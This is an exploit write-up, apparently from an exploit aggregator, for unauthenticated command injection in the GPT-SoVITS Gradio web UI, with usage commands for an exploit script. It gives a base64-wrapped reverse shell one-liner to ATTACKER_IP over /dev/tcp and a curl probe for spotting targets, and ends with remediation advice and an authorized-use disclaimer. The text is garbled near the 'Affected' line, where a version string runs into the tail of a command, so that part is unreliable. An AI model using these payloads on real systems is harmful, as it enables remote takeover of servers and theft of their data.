Exploit for CVE-2026-63766

## https://sploitus.com/exploit?id=37D5777E-3101-5732-B15F-FEBD39E19E6F
# CVE-2026-63766 — GPT-SoVITS Unauthenticated OS Command Injection

Unauthenticated remote code execution in [GPT-SoVITS](https://github.com/RVC-Boss/GPT-SoVITS)'s
Gradio **web UI** (`webui.py`).

The audio-processing helpers (`open_asr`, `open_slice`, `open_denoise`, `open_uvr5`)
interpolate unsanitised Gradio textbox **path** values straight into shell commands run
with `Popen(..., shell=True)`. Paths are only passed through `clean_path()`, which merely
strips leading/trailing quotes and spaces — shell metacharacters in the *middle* survive.
The `asr_opt_dir` field isn't even existence-checked, so a command substitution `$(...)`
in it lands inside `-o "$(...)"` and runs as the web-UI process user. The web UI ships
**without authentication**, so a single request is enough.

- **Affected:** GPT-SoVITS ` /tmp/pwned 2>&1'

# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
```

The injected command runs on the **server**; its output is not returned, so use a reverse
shell (or write to a readable path) to observe the result. `asr_opt_dir` is wrapped in
`$(...)`, so it executes via command substitution regardless of whether any ASR model is
installed.

## How it works

`open_asr` builds and runs:

```python
asr_opt_dir = clean_path(asr_opt_dir)          # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"'                   # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True)                          # /bin/sh runs $(...) inside the -o "..."
```

## Identifying a target

The Gradio UI exposes its API surface at `/config`:

```bash
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
```

## Remediation

Upgrade past GPT-SoVITS `20250606v2pro`, never expose the web UI to untrusted networks,
and don't run it as a privileged user.

## Disclaimer

For authorized security testing and education only. Use it only against systems you own
or have explicit permission to test.